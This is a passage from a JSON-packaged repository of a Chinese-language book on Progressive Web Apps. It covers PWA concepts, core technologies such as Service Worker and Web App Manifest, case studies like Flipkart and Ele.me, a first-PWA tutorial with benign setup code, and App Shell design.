和用户时长对比](./img/web_vs_na_uv_user_duration.png)\n\n就在这样的背景条件下，PWA 以及支撑 PWA 的一系列关键技术应运而生。\n"
  },
  {
    "path": "chapter01/2-what-is-pwa.md",
    "content": "# 什么是 PWA\n\nGoogle 提出 PWA 的时候，并没有给它一个准确的定义，经过我们的实践和总结，\nPWA 它不是特指某一项技术，而是应用多项技术来改善用户体验的 Web App，其核心技术包括 Web App Manifest，Service Worker，Web Push 等，用户体验才是 PWA 的核心。\n\nPWA 主要特点如下：\n\n* 可靠 - 即使在网络不稳定甚至断网的环境下，也能瞬间加载并展现\n* 用户体验 - 快速响应，具有平滑的过渡动画及用户操作的反馈\n* 用户黏性 - 和 Native App 一样，可以被添加到桌面，能接受离线通知，具有沉浸式的用户体验\n\nPWA 本身强调**渐进式**（Progressive），可以从两个角度来理解渐进式，首先，PWA 还在不断进化，Service Worker，Web App Manifest，Device API 等标准每年都会有不小的进步；其次，标准的设计向下兼容，并且侵入性小，开发者使用新特性代价很小，只需要在原有站点上新增，让站点的用户体验渐进式的增强。\n\nGoogle 在官网一篇名为《[Progressive Web App Checklist](https://developers.google.cn/web/progressive-web-apps/checklist)》的文章中给出了 PWA 的基准线，也给出了体验更好的示范性 PWA 的 Checklist，下面列出了 PWA 的最低要求。\n\n* 站点需要使用 HTTPS\n* 页面需要响应式，\b能够在平板和移动设备上都具有良好的浏览体验\n* 所有的 URL 在断网的情况下有内容展现，不会展现浏览器默认页面\n* 需要支持 Wep App Manifest，能\b被添加到桌面\n* 即使在 3G 网络下，页面加载要快，可交互时间要短\n* 在主流浏览器下都能正常展现\n* 动画要流畅，有用户操作反馈\n* 每个页面都有独立的 URL\n\n## PWA 的特性\n\nPWA 本质上还是 Web App，借助了新技术具备了一些 Native App 的特性，所以它兼具 Web App 和 Native App 的优点，同时在安全、体验和用户黏性三个方面都有很大的提升。总结下来，PWA 具有如下特性。\n\n* **渐进式** - 适用于所有浏览器，因为它是以渐进式增强作为宗旨开发的\n* **连接无关性** - 能够借助 Service Worker 在离线或者网络较差的情况下正常访问\n* **类原生应用** - 由于是在 App Shell 模型基础上开发，因此应具有 Native App 的交互，给用户 Native App 的体验\n* **持续更新** - 始终是最新的，无版本和更新问题\n* **安全** - 通过 HTTPS 协议提供服务，防止窥探，确保内容不被篡改\n* **可索引** - manifest 文件和 Service Worker 可以让搜索引擎索引到，从而将其识别为『应用』\n* **黏性** - 通过推送离线通知等，可以让用户回流\n* **可安装** - 用户可以添加常用的 Web App 到桌面，免去到应用商店下载的麻烦\n* **可链接** - 通过链接即可分享内容，无需下载安装\n\nPWA 的这些新特性给 Web App 注入了活力，而 Native App 却没能很好的弥补自己的劣势。对于 Native App来说，最大的痛点是由于其天生封闭的基因，内容无法被索引，这会导致 Native App 很难被分发，例如，用户想知道红烧肉的做法，还需要先知道应用的名称，下载应用之后才能获取内容，这个流程十分不合理，根据 Google 的统计，用户每个月安装的应用个数约等于 0，再加上用户 80% 的时间被 Top3 的超级应用占据，应用分发成本也因此越来越高。相对于 Native App 的封闭，PWA 完全是开放的，PWA 的所有技术都是遵循开放的标准，因此能够被浏览器快速支持，被开发者接受。\n\n下表列出了传统 Web App，Native App 和 PWA 在各特性的对比。\n\n|   |是否可安装|是否可链接访问|用户体验|用户黏性|\n|---|---|---|---|---|\n|传统 Web|无法安装|可链接访问|体验一般|黏性差|\n|Native App|可安装|不可链接访问|体验好|黏性强|\n|PWA|可安装|可链接访问|体验好|黏性强|\n\nPWA 能给站点体验带来飞跃式的提升，我们可以用移动设备上的浏览器，如 Chrome， 访问 [LAVAS 官网](https://lavas.baidu.com) 体验一下，并添加到桌面，还可以在断网的情况下使用。现在在国内也有很多 PWA 站点，比如饿了么和新浪微博的移动版，不用耗费流量下载几十兆的应用，就能有和原生应用一样的体验，不妨尝试一下。\n\n在后面的章节中，我们会从体验、安全和性能三个角度来分析如何打造一个好的 PWA。\n"
  },
  {
    "path": "chapter01/3-what-are-key-techs.md",
    "content": "# PWA 的核心技术\n\n前文提到，PWA 的核心是用户体验，能让 PWA 达到原生应用的体验并不仅仅依赖于某一项技术，而是多管齐下，进行改进，从而在安全、性能和体验上都获得很大的提升。下面将简单介绍几个 PWA 应用中经常使用到的技术，后面的章节会进行更详细的讲解。\n\n## Web App Manifest\n\nWeb App 是依附于浏览器的，在一般情况下，用户需要先打开浏览器，然后输入网址或点击收藏的书签，才能够访问到网页内容，相比在移动设备主屏上拥有一席之地的 Native App，Web App 使用起来太麻烦了，这也是 Native App 相比 Web App 用户黏性更好的原因之一。因此 Web App 也需要这个能力，Web 应用清单（Web App Manifest）能够帮助我们实现这一点，也是 PWA 最核心的功能之一，开发者可以定义用户添加到主屏的图标、应用名称等，也许有人会说，有些移动设备上的浏览器可以在主屏上添加网页的快捷方式，但其实用户体验区别很大，Web App Manifest 允许开发者配置隐藏浏览器多余的 UI（地址栏，导航栏等），让 PWA 具有和 Native App 一样的沉浸式体验。\n\nWeb App Manifest 体现在代码上主要是一个 JSON 文件：`manifest.json`，开发者可以在这个 JSON 文件中配置 PWA 的相关信息，应用名称、图标、启动方式、背景颜色、主题颜色等等。添加到桌面后，PWA 并不是一个快捷方式，而是能够在系统中作为一个独立的 App 存在的，用户可以设置它的权限，清除它的缓存，就和 Native App 一样。\n\n添加主屏的好处是显而易见的，首先它缩短了用户和站点的距离，用户可以在主屏直达站点；其次是能够让网站具有更加接近 Native App 的体验，具有启动画面、沉浸式浏览体验；最后，PWA 会被系统的应用商店收录，目前只有 Windows 10 这样做了，但是可以预见在不远的将来，其他的主流平台也会进行收录。\n\n## Service Worker\n\n在前文中，频繁的提及 Service Worker 是因为它真的很重要，毫不夸张的说，Service Worker 就像人体中心脏一样的存在，如果没有它，PWA 就像没有了动力，无法寸进。\n\nService Worker，直白的翻译就是服务工作线程，但一般我们不会这么做。它是浏览器在后端独立于网页主进程运行的脚本，它可以拦截网络请求，可以操作本地缓存，还可以接受服务器推送的离线消息，它的功能很丰富，并且 Service Worker 可扩展性很强，想象空间比较大，未来 PWA 很多的特性会基于 Service Worker 来设计，这也是笔者为什么说它是 PWA 的心脏。\n\n简单归纳一下，Service Worker 的特点，如下：\n\n* 一个特殊的 worker 线程，独立于当前网页主线程，有自己的执行上下文\n* 一旦被安装，就永远存在，除非显式取消注册\n* 使用到的时候浏览器会自动唤醒，不用的时候自动休眠\n* 可拦截并代理请求和处理返回，可以操作本地缓存，如 CacheStorage，IndexedDB 等\n* 离线内容开发者可控\n* 能接受服务器推送的离线消息\n* 异步实现，内部接口异步化基本是通过 Promise 实现\n* 不能直接操作 DOM\n* 必须在 HTTPS 环境下才能工作\n\n![服务器浏览器桥梁图](./img/server_browser_service_worker.png)\n\nService Worker 在 PWA 中最重要的功能就是离线与缓存，在本书第三章，还会有很多笔墨来介绍 Service Worker 如何实现站点离线。\n\n## 离线通知\n\nService Worker 是 PWA 很多功能的基础，正是有了 Service Worker，其他功能才能发挥更大的作用，离线通知就是其中之一。\n\n离线通知是指在用户没有打开 PWA 站点的情况下，也能接受到服务器推送过来的通知并展现给用户，其中包括了两部分，离线推送和展现通知，分别是 Web Push 和 Notification API。\n\n推送通知是一种时效性非常强的与用户沟通的方式，即使在 PWA 没有打开的情况下，依然可以触达用户，能够立即引起用户的注意，对于一些突发事件、限时活动、重大升级等时效性要求很高的场景，推送通知总是最好的选择，这也是过去 Native App 强于 Web App 的原因之一。因此 PWA 提供了 Web Push 和 Notification API 补全了这一功能。\n\n浏览器在接受到对应的消息服务中心推送过来的离线消息时，会唤醒对应站点注册的 Service Worker，开发者可以在 Service Worker 文件中处理接受到的请求，显示通知。\n\nWeb Push 和 Notification API 在后面的章节也会重点介绍。\n\n## App Shell 和骨架屏\n\nApp Shell 是 PWA 强调的一个非常重要的设计理念，它能够缩短用户进入页面时的白屏时间，让用户一进入 PWA 就能快速看到 PWA 的整体框架，就和 Native App 一样。从概念上讲，App Shell 是 PWA 界面展示所需的最小资源集合，即让页面能够正常运行起来的最小的 HTML、CSS 和 JavaScript 等静态资源集，每个页面都需要加载这一部分资源。利用 Service Worker 把这部分资源缓存在本地，就能够在打开 PWA 时不需要从服务器端获取这部分资源，从而能够瞬间渲染出页面框架，不仅提升了首屏的速度，还减小了站点流量的消耗。\n\n骨架屏（App Skeleton），也是提升首屏体验的有效方式。它的原理是在真实内容渲染完成之前，使用一些能够快速渲染的静态图片/样式/色块/部分真实内容进行占位，让用户对真实内容区域有心理预期。App Shell 和骨架屏都是提升首屏体验的绝好妙招。\n\nApp Shell 和骨架屏相辅相成，App Shell 显示页面的外框部分，初始内容就用骨架屏来填充，保证主体内容区域不会留白，它的特点是：\n\n* 在页面加载初期预先渲染内容，提升感官上的体验\n* 一般情况骨架屏和实际内容的结构是类似的，因此之后的切换不会过于突兀。这点和传统的 Loading 动图不同，可以认为是其升级版\n* 只需要简单的 CSS 支持 (涉及图片懒加载可能还需要 JS )，不要求 HTTPS 协议，没有额外的学习和维护成本\n* 如果页面采用组件化开发，每个组件可以根据自身状态定义自身的骨架屏及其切换时机，同时维持了组件之间的独立性\n\nApp Shell 和骨架屏在提升首屏体验上发挥了重要作用，本书第二章会首先介绍，在了解了这部分内容之后，就能够很好的理解 App Shell 结合 Service Worker 的重要性。\n\n以上四点是笔者认为对应 PWA 非常重要的技术，因此列出来，并且后续也会重点讲述，其他在这里没有提到的技术对于 PWA 来说也同样重要，在本书中不会重点讲述，但也会有所提及，开发者可以去阅读一些相关的文档或者标准，比如 [MDN](https://developer.mozilla.org/en-US/) 站点。\n"
  },
  {
    "path": "chapter01/4-how-is-pwa-going.md",
    "content": "# PWA 的发展\n\n从 PWA 被提出到现在，已经过去了 4 年，PWA 取得的成绩有目共睹，特别是在国外，在网络速度不够快或者相对贫困的地区，PWA 非常受欢迎，因为它不需要很高的硬件配置，也很省流量，比如在印度，就有一个很成功的案例，Flipkart。\n\n## Flipkart\n\n[Flipkart](https://www.flipkart.com) 是印度最大的电商公司，在 2015 年的时候，他们关停了 Web App，尝试将用户导流到 Native App，后来发现在产品快速迭代和好的用户体验之间很难做到两者兼得，因此他们决定将 Web App 和 Native App 整合为 PWA，通过 Service Worker，Web App Manifest 等技术的使用，PWA 不仅在体验上达到了他们的标准，同时还具有了 Web App 的产品迭代速度。\n\n采用 PWA 后，取得的成绩斐然，关键收益如下：\n\n* 用户时长增加了 3 倍，传统 Web 是 70 秒，而 PWA 达到了 3.5 分钟。\n* 用户回流率提升了 40%。\n* 添加到主屏的用户转化率提高了 70%。\n* 用户数据流量的消耗降低了 3 倍。\n\n![Flipkart Lite](./img/flipkart.jpeg)\n\n### 阿里速卖通(AliExpress)\n\n[阿里速卖通](https://m.aliexpress.com)是阿里巴巴旗下的一款产品，对外销售来自中国的各种产品。AliExpress 的困境在于，用户不愿意下载安装他们的 Native App，即使在 Web App 中对 Native App 有足够的引流，导致获客成本很高。\n\n最后，AliExpress 选择了 PWA，他们的出发点在于提升 Web App 的\b体验和用户黏性。带来的收益也非常的明显，如下：\n\n* 在 PWA 中，新用户的转化率提升了 104%。\n* 在一次会话中，用户访问的页面数量\b增加了 2 倍。\n* 用户时长增加了 74%。\n\n### 饿了么\n\n不仅在国外，国内同样也有 PWA 的案例，[饿了么](https://ele.me)，作为国内最早一批尝试 PWA 的站点，同样也取得了不小的收益。\n\n饿了么做 PWA 站点的出发点和 Flipkart、AliExpress 不完全一样，它几乎纯粹是从性能优化的角度接入的 PWA，当时国内的浏览器市场比较混乱，对 PWA 支持的不是很完善。饿了么 PWA 采取的是多页应用（Multi-Page Application），和 PWA 推荐的 SPA（Single Page Application）不一样，主要是考虑到多个团队合作共同开发同一个站点，不过在体验上并没有打折扣，现在是 Google 对外展示的一个成功案例。\n\n看一下饿了么 PWA 的收益：\n\n* 预缓存的页面加载时间缩短了 11.6%。\n* 所有页面平均加载时间缩短了 6.35%。\n* 在 3G 网络下，第一次加载首次可交互时间缩短了 4.93 秒。\n\n![饿了么 PWA](./img/eleme.png)\n\n## 标准的支持\n\nPWA 采用的最新技术，当前浏览器还没有达到完全支持的程度，很多技术在 W3C 还没有定稿，不过这也意味着这些技术的还有很大的想象空间。\n\n根据 [Can I Use](https://caniuse.com) 的统计（包括 PC 和移动端，截至 2019 年 4 月 2 日），PWA 的关键技术在浏览器中的支持度如下：\n\n* Web App Manifest 的支持度达到 80.63%。\n* Service Worker 的支持度达到 89.84%。\n* Notifications API 的支持度达到 75.17%。\n* Push API 的支持度达到 78.06%。\n\n随着标准的进一步完善，国内外各大浏览器都会逐步支持，拥抱标准。Chrome 自不必说，Apple 从 iOS 11.3 版本开始在 Safari 上支持 Service Worker，iOS 12.2 版本修复了 PWA 很多致命的体验问题，支持了 Web Share API 等。可见大家都在拥抱标准，拥抱开放。\n\nCan I Use 的统计由于一些原因在国内不是很适用，为此百度 Web 生态团队维护了一份列表，开发者可以在上面查看国内各主流浏览器对 PWA 主要技术的支持程度，[https://lavas.baidu.com/ready](https://lavas.baidu.com/ready)。\n"
  },
  {
    "path": "chapter01/5-the-future-of-pwa.md",
    "content": "# PWA 的未来\n\n从 Google 最初提出 PWA 到现在，PWA 已经有不小的改变了，这就是 Web 的魅力，遵循标准且完全开放的魅力，来自世界各地的开发者参与标准的制定，它还在不断进化，Web 即使已经 30 岁了，它还依旧是被广泛应用的技术之一。\n\n关注 Web 标准化的开发者会在标准文档里发现很多有意思的提案，有 Web 蓝牙、Web XR 等，在 [TPAC Lyon 2018](https://www.w3.org/2018/10/TPAC/) 上，Intel 的开发者演示了他们开发的 Web Machine Learning 的 DEMO，Web 也能直接利用 NPU 来进行深度学习的计算，让我觉得 Web 还能再战 30 年，我对此充满信心。\n\n在国外，PWA 已经被广泛应用，也被用户所接受。在笔者刚从事 Web 生态相关工作的时候，国内才刚刚接触到 PWA 这个概念，UC 浏览器的内核版本还是 Chrome 3x，连 ES6 都支持的不全，更别说是 Service Worker、Web App Manifest 等 PWA 技术了。UC 浏览器并不是个例，国内厂商 App 内核版本几乎都不支持 Service Worker。不过也就在不到一年的时间里，这些浏览器就都支持了 Service Worker，让人不得不感叹国内互联网进步之快，国内主流浏览器对 Service Worker 的支持度如下图所示。\n\n![Service Worker 的支持度](./img/is_service_worker_ready.png)\n\n除了 Service Worker 等主流 PWA 技术外，W3C 也一直在推进 Device API 的标准。在 MDN，有一个 Web API 的索引，[WebAPI](https://developer.mozilla.org/zh-CN/docs/WebAPI)，里面列出了大部分的现存的 Device API 和其他的 API。\n\n[Accelerated Shape Detection in Imagges](https://wicg.github.io/shape-detection-api/) 是形体检测的 API，在最新的 Chrome 中已经支持，如下代码所示。\n\n> 需要将 chrome://flags/#enable-experimental-web-platform-features 设置为 Enabled。\n\n```javascript\n// 人脸识别\nconst faceDetector = new FaceDetector({fastMode: true, maxDetectedFaces: 1})\n\n// 假设 theImage 是 <img> 标签中的内容或者一个 Blob 对象\nfaceDetector.detect(theImage)\n  .then(detectedFaces => {\n    for (const face of detectedFaces) {\n      console.log(\n        ` Face @ (${face.boundingBox.x}, ${face.boundingBox.y}),` +\n        ` size ${face.boundingBox.width}x${face.boundingBox.height}`);\n    }\n  }).catch(() => {\n    console.error(\"Face Detection failed, boo.\");\n  })\n```\n\n不断有新的 Device API 被支持，W3C 等标准组织有一群对 Web 怀抱希望，希望 Web 成为开放技术的人，他们在努力推进 Web 用户体验的提升，虽然由于 W3C 的组织方式和对安全、隐私、性能的考虑，推进速度不是很快，但不久也会被所有浏览器支持。我喜欢 Web 的开放，喜欢它的简单。\n"
  },
  {
    "path": "chapter01/6-your-first-pwa.md",
    "content": "# 你的第一个 PWA\n\n本书中大部分示例均基于下面的这个模板展开，开发者可以跟随书中示例逐步操作，加深理解。在这个示例里，我们一起来实现一个能添加到桌面并且离线可用的 PWA。\n\n## 准备工作\n\n在准备编写第一个 PWA 前，有一些准备工作需要准备，需要安装一些必备的软件，如下：\n\n* 一台可以正常联网的计算机并已安装较新版本的 Node.js，npm，Git\n* 一个方便调试并支持 Service Worker 的浏览器，推荐使用 Google Chrome\n* 一部安卓手机，开启添加到桌面的权限，推荐安装好 Chrome 浏览器\n* 一个自己习惯的文本编辑器，如 Visual Studio Code, Sublime Text 等等\n\n## 下载代码\n\n在完成上面的准备工作后，接下来下载笔者准备的示例代码。本书的示例代码均托管在 GitHub 上，地址是 [https://github.com/lavas-project/pwa-book-demo](https://github.com/lavas-project/pwa-book-demo)。\n\n> 本书所有的 JS 代码均符合 [JavaScript Standard Style](https://standardjs.com/) 规范。\n\n那么接下来的第一步，我们先下载代码到本地，在命令行中运行如下命令。\n\n```bash\n# 从 GitHub 下载代码到本地 pwa-book-demo 目录\n$ git clone https://github.com/lavas-project/pwa-book-demo.git\n\n# 进入到 chapter01 目录\n$ cd chapter01\n\n# 安装 npm 依赖\n$ npm install\n\n# 安装成功后启动 chapter01 示例\n$ npm run server\n```\n\n在看到命令行中输出 `Server start on: http://127.0.0.1:8088`，意味着已经成功启动，这时，打开浏览器，访问 `http://127.0.0.1:8088` 能看到如下图所示的页面。\n\n<img src=\"./img/chapter01_demo.png\" width=\"50%\" alt=\"PWA Chapter01 Demo 截图\" title=\"PWA Chapter01 Demo 示意图\">\n\n接下来，开发者可以根据下面的步骤逐步开启 Web App Manifest 和 Service Worker，开始体验自己的第一个 PWA。\n\n## 添加到主屏\n\n根据前面的章节介绍，增加用户黏性最好的方式是把这个 PWA 放在用户的主屏上，它背后的技术就是 Web App Manifest，接下来，我们就来看看如何使用。\n\n第一步，站点需要新增一个文件：`manifest.json`，这个文件中包含站点的名称、图标地址、入口地址、显示模式等信息，并且通过一个地址能够访问到该文件，在我们下载下来的代码中，这个文件在 `chapter01/public/` 目录下，启动调试服务器后，可以通过 `http://127.0.0.1:8088/manifest.json` 访问到。\n\n```json\n{\n  \"name\": \"PWA Chapter01 Demo\",\n  \"short_name\": \"Chapter01 Demo\",\n  \"icons\": [\n    {\n      \"src\": \"assets/images/icons/icon_144x144.png\",\n      \"sizes\": \"144x144\",\n      \"type\": \"image/png\"\n    },\n    {\n      \"src\": \"assets/images/icons/icon_152x152.png\",\n      \"sizes\": \"152x152\",\n      \"type\": \"image/png\"\n    },\n    {\n      \"src\": \"assets/images/icons/icon_192x192.png\",\n      \"sizes\": \"192x192\",\n      \"type\": \"image/png\"\n    },\n    {\n      \"src\": \"assets/images/icons/icon_512x512.png\",\n      \"sizes\": \"256x256\",\n      \"type\": \"image/png\"\n    }\n  ],\n  \"start_url\": \"/index.html\",\n  \"display\": \"standalone\",\n  \"background_color\": \"#fff\",\n  \"theme_color\": \"#1976d2\"\n}\n```\n\n第二步，在 HTML 页面中添加对 `manifest.json` 文件的引用，在示例中，打开 `chapter01/public/index.html` 文件，添加如下代码到 `<head>` 中。\n\n```html\n<!-- chapter01/public/index.html -->\n<!-- 对 manifest.json 的应用 -->\n<link rel=\"manifest\" href=\"./manifest.json\">\n```\n\n第三步，在\b移动端浏览器 Chrome 中打开启动的地址，如果在同一个局域网内，可以通过电脑的 IP 地址访问，\b比如笔者的电脑的局域网 IP 是 `192.168.0.100`，那么就可以通过 `http://192.168.0.100:8088/` 访问。访问成功后，点击添加到桌面按钮，PWA 就会出现在主屏上，如下图所示。\n\n![在 Chrome 中添加到主屏](./img/add_to_homescreen.png)\n\n点击 PWA 的图标，\b不仅具有启动画面，还具有完全沉浸式的体验，如下图所示。\n\n![PWA Chapter01 Demo 的打开效果](./img/pwa_open.png)\n\nWeb App Manifest 的内容远不止这些，可以阅读本书的后续章节，会详细介绍。\n\n> 如果添加到主屏始终不成功，可以阅读本书的第五章，相信会解决您的问题。\n\n## 离线可用\n\n离线可用依赖于 Service Worker 的应用，接下来来看看在示例代码中如何启用 Service Worker。\n\n第一步，您需要一个 Service Worker 文件，在示例中，可以查看 `chapter01/public/sw.js` 文件，并且可以通过 `http://127.0.0.1:8088/sw.js` 访问到该文件，sw.js 文件具体的内容会在后续章节逐步讲解。\n\n第二步，在 HTML 页面中注册 Service Worker。打开 `chapter01/public/index.html` 文件，找到下面的代码，并将注释打开。\n\n```html\n<!-- service worker -->\n<script>\n  // 判断浏览器是否支持 Service Worker\n  if ('serviceWorker' in navigator) {\n    // 在 load 事件触发后注册 Service Worker，确保 Service Worker 的注册不会影响首屏速度\n    window.addEventListener('load', function () {\n      // 注册 Service Worker\n      navigator.serviceWorker.register('/sw.js').then(function (registration) {\n        // 注册成功\n        console.log('ServiceWorker registration successful with scope: ', registration.scope)\n      }).catch(function (err) {\n        // 注册失败 :(\n        console.warn('ServiceWorker registration failed: ', err)\n      })\n    })\n  }\n</script>\n```\n\n第三步，接下来可以通过打开电脑上的 Chrome 来验证是否注册成功，并且是否离线可用。\n\n通过 Chrome 访问 `http://127.0.0.1:8088` 打开我们的第一个 PWA，\b并且打开调试工具，点击 `Application` \b菜单栏，再点击调试工具左边的 Service Worker 选项，会看到\b `sw.js` 的注册信息，如下图所示：\n\n![成功注册 Service Worker](./img/sw_register_success.png)\n\n那么，我们检查一下是否真的离线可用，勾选上图中的 `Offline` 复选框，让 Chrome 在这个标签页下保持断网状态。\n\n![勾选 Offline 复选框](./img/offline.png)\n\n\b接下来，刷新页面，您会发现页面依然能正常渲染，这就是 PWA 的离线可用，可以利用 Service Worker 做很多事情，缓存页面\b框架和骨架屏，提升页面首屏速度，甚至可以缓存部分数据。Service Worker 将在本书的后续章节会重点讲述。\n\n## 总结\n\n以上就是您的第一个 PWA，麻雀虽小，五脏俱全，能被添加到主屏，能离线可用，\b短短的几行代码就在原站点的基础上实现了这两个功能，并且没有侵入性，代价也很小，它确实奉行渐进式的原则。\n"
  },
  {
    "path": "chapter01.md",
    "content": "# 什么是 PWA\n\n随着移动互联网的发展，Native App 开始兴起，那么 Web App 落伍淘汰了吗？很显然答案是没有，它依然生机勃勃，和 Native App 互相依存，还衍生出很多 Native App 和 Web App 相结合的技术，比如 Hybrid App，React Native 等，Angular/ReactJS/Vue 也都是在这期间才发展起来的优秀的框架，可见，Web App 仍在不断进化，PWA（Progressive Web Apps）就是在这背景下诞生的。\n\n本书第一章会着重介绍 PWA 的基础概念，让读者对 PWA 有个大致的了解，后续章节会再深入讲解。本章会探讨为什么会出现 PWA，PWA 的出现解决了哪些问题，然后再看 PWA 的主要技术，并且会结合实际的例子让读者能够创建一个简单的 PWA。\n"
  },
  {
    "path": "chapter02/1-what-is-good-ux.md",
    "content": "# 什么是好的用户体验\n\nPWA 的核心是用户体验，它的核心技术（如 Service Worker，Web App Manifest 等）都是为了提升 Web App 用户体验，但“体验”其实是个很主观的感受，我们很难用一个或几个量化指标来轻易的衡量用户体验，判断优劣，甚至不同的人有不同的理解，不过体验好的站点都有一些共性，包括不限于下面列出来的一些特征。\n\n* 首屏速度快\n* 顺滑流畅的动画效果\n* 有用户操作的反馈\n* 比较简单的操作步骤\n* 主体内容比较在最显眼的位置\n* 整站体验一致\n* 无障碍访问，不同的人群均可使用\n\n用户体验的核心是用户，设计师需要站在用户的角度思考用户需要什么，在做设计的时候需要做充分的调研。移动设备上的用户目的性很强，需要在巴掌大小的屏幕上快速找到自己想要的内容。\n\n很多公司都沉淀了自己的一套设计原则和方案，百度在 2018 年发布了《[百度移动搜索落地页体验白皮书 4.0](https://ziyuan.baidu.com/college/documentinfo?id=2492)》，这里面列出了很多体验上的指导原则。Google 也在开发者网站上列出了他们总结的 25 项设计原则，《[What Makes a Good Mobile Site?](https://developers.google.cn/web/fundamentals/design-and-ux/principles/)》。\n\n笔者将他们整合了一下，并且加入了一些自己认为重要的设计原则，如下：\n\n1. 主操作区域要放在显眼位置\n2. 不要出现巨大的弹层盖住主要内容，比如下载条幅可以放在顶部并且添加关闭按钮\n3. 推送的通知需要满足准确、准时和相关三个特征\n4. 尽量减少用户的输入或者减小输入的代价，自动帮用户填写已知的数据，选择合适的 `input` 类型\n5. 缩短不必要的流程，让整个转化流程更简洁\n6. 响应式布局，\b让站点\b在不同尺寸的浏览器上都有好的体验\n7. 图片清晰，且点击可放大查看更清晰的图片\n8. \b避免不必要的切换，让用户在一个\b浏览窗口内完成所有的操作\n9. 如果需要申请设备权限，如定位、通知等，在申请前需要明确的告诉用户为什么需要这些设备权限\n10. 可点击区域的\b宽度和高度不应小于 48px\n11. 整站体验需要一致，页面框架、主色调等需要保持统一\n\n好的设计原则远不止\b上面列出来的这些，好的设计不仅需要美观，还需要方便易用。\n\n那么站在开发者的角度，哪些需要重点关注呢？\n\n"
  },
  {
    "path": "chapter02/2-design-and-tech.md",
    "content": "# 设计与技术\n\n好的设计没有好的技术来实现同样无法达到最佳的用户体验。\n\n设计与技术并不只是实现的关系，而是需要互相配合，再完美的设计如果不能实现，那也只是白费，而一些技术上的优化也需要设计给予配合才能更加完美。\n\n上一节中，列出了很多设计原则，有些是比较容易实现的，但有些也比较复杂，复杂到需要很大的篇幅来描述。下面我们总结了几个比较重要的设计与技术相结合的问题。\n\n## 首屏速度\n\n首先是首屏速度，它对于站点的重要性不言而喻，特别是移动端，下图是页面加载时间与跳出率和会话\b的关系。\n\n![页面加载时间与跳出率还有会话数量息息相关](./img/page_load_time_bounce_rate.png)\n\n那么技术上如何提升首屏速度呢？首选我们会想到\b将 CSS 放在头部，JS 放在页面底部等技术手段，这些方法确实卓有成效，但是有没有更好的方法呢？\n\n在这里就要讲到设计与技术相辅相成的一种 Web 的设计，那就是 App Shell，以及和 App Shell 配套使用的骨架屏（App Skeleton），本章后续会详细介绍。\n\n## 响应式布局\n\n移动设备种类越来越多，屏幕大小不一，有小到高宽不足 40\b 毫米的\b智能手表，也有高度接近 300 毫米的 iPad。尽管如此，大部分的 Web 站点都没有对尺寸不一的设备做过适配，导致在移动端体验很差，这时就凸显响应式布局的重要性。\n\n响应式布局不是一个纯技术的问题，\b在设计之初就\b需要设计师考虑众多问题，例如在不同尺寸的设备上，字体大小设置多少，页面如何布局，主体内容放在哪里，叠起来的内容如何使用户更方便的找到，小尺寸屏幕如何展现列数较多的表格，等等。\n\n而开发者需要考虑如何实现根据\b屏幕尺寸大小动态调整字体大小或者布局，其中涉及到的知识点\b很多，在本章后续小节中会详细介绍。\n\n## 流畅的动画\n\n动画是体验非常重要的一部分，站点展现速度再快，没有任何交互动画，也会显得没有生气，它赋予了站点“生命”。但是如果动画掉帧，造成卡顿，反而会让用户觉得站点体验很差，所以，我们需要的是流畅的动画。\n\n动画的设计没有想象中的简单，过多的动画和没有动画体验同样糟糕，动画过多会让用户觉得烦躁，因此需要设计师在初期考虑到参与动画的元素、动画的类型、动画的持续时间等，而\b开发者需要考虑如何实现流畅的动画。在本章后续小节中同样会展开介绍。"
  },
  {
    "path": "chapter02/3-app-shell.md",
    "content": "# App Shell\n\n在第一章中已经简单介绍过 App Shell，这个小节我们会更深入学习如何构建和使用 App Shell。它并不是一种新的技术或者 API，而是设计与技术相结合产生的一种整站设计方案，减少用户进入页面的等待时间，用户能够快速看到页面的主体结构，虽然这时主体内容没有渲染出来，但是给用户感官上的体验是这个页面渲染很快，那么来看一下什么是 App Shell。\n\n## 什么是 App Shell\n\nPWA 多数采用单页应用（Single Page Application）的方式编写，这样能减少页面跳转带来的开销，并且开发者可以在页面切换时增加过渡动画，避免出现加载时的白屏。那么在页面切换时页面上固定不动的内容就是 App Shell 的一部分。\n\n应用从显示内容上可以粗略的划分为内容部分和外壳部分。App Shell 就是外壳部分，即页面的基本结构，如下图所示：\n\n![App Shell 与主体内容示意图](./img/appshell.png)\n\n上面只是 App Shell 显示的部分，那么是谁去加载内容区域呢，是谁接管了页面的状态呢，是谁初始化页面的样式呢？\n\n也是 App Shell，它不仅包括用户能看到的页面框架部分，还包括用户看不到的代码逻辑。因此，我们可以总结一下 App Shell 的定义，App Shell 是页面能够展现所需的最小资源集合，即支持用户界面所需的最小的 HTML、CSS 和 JavaScript 等静态资源集合。采用 App Shell 的站点，每个页面都会先加载 App Shell 的内容，再由 App Shell 根据当前页面 URL 渲染对应的主体内容。\n\n上图给出了基本的 App Shell 例子，它包含头部导航，侧边栏等，对于一个应用来说它有一个相对稳定的结构。但是一个站点可以有多个 App Shell，以电商网站举例，不同品类的商品主题馆，颜色不同，甚至结构也会有一些区别，这就需要开发者灵活处理，可以分为多个 Shell，或者在一些页面去掉 Shell。\n\n## 如何正确使用 App Shell\n\n单独使用 App Shell 并不是一个很好的主意，对于速度要求比较高的站点来说，它会导致用户看到主要内容的时间延后，那么有没有办法呢？这个时候开发者会提到使用浏览器的 HTTP 缓存，这确实是一个不错的主意，但它也有\b一些很难解决的问题。\n\n* 难以确定合适的 HTTP 缓存设置时间，也不适合更新比较频繁的站点\n* HTTP 缓存只有在 URL 相等的情况下才能起作用，这不符合 PWA 每个页面有唯一 URL 的要求\n\n那么有没有更好的缓存方案呢？在第一章中，我们提到了 Service Worker 可以拦截网络请求和操作本地缓存，这给了我们足够的想象空间，可以结合 App Shell 和 Service Worker 来解决缓存问题。\n\n1. 使用 Service Worker 预缓存 App Shell 的静态资源\n2. 用户访问 Web 站点时，通过 Service Worker 拦截请求\n3. Service Worker 返回缓存中的 App Shell 给浏览器\n4. App Shell 根据当前的 URL 再去请求对应的数据来渲染\n\n这样可以解决上面提到的所有问题。下面是 App Shell 和 Service Worker 结合使用的收益。\n\n* 第二次访问速度极快且稳定。由于 App Shell 的内容已经缓存在本地缓存中，用户第二次访问会在极短的时间内渲染出 App Shell\n* 为用户节省流量。用户在后续的访问都不会再请求 App Shell 的内容，而是只请求主体内容，不用加载一些公用的静态文件。\n* 具有 Native App 的用户体验。无论是第一次访问还是后续页面的切换，都具有唯一不变的区域，没有传统 Web 页面切换的白屏。\n\n## App Shell 的案例\n\n[https://lavas.baidu.com](https://lavas.baidu.com) 是百度 Web 生态团队开发的 Lavas 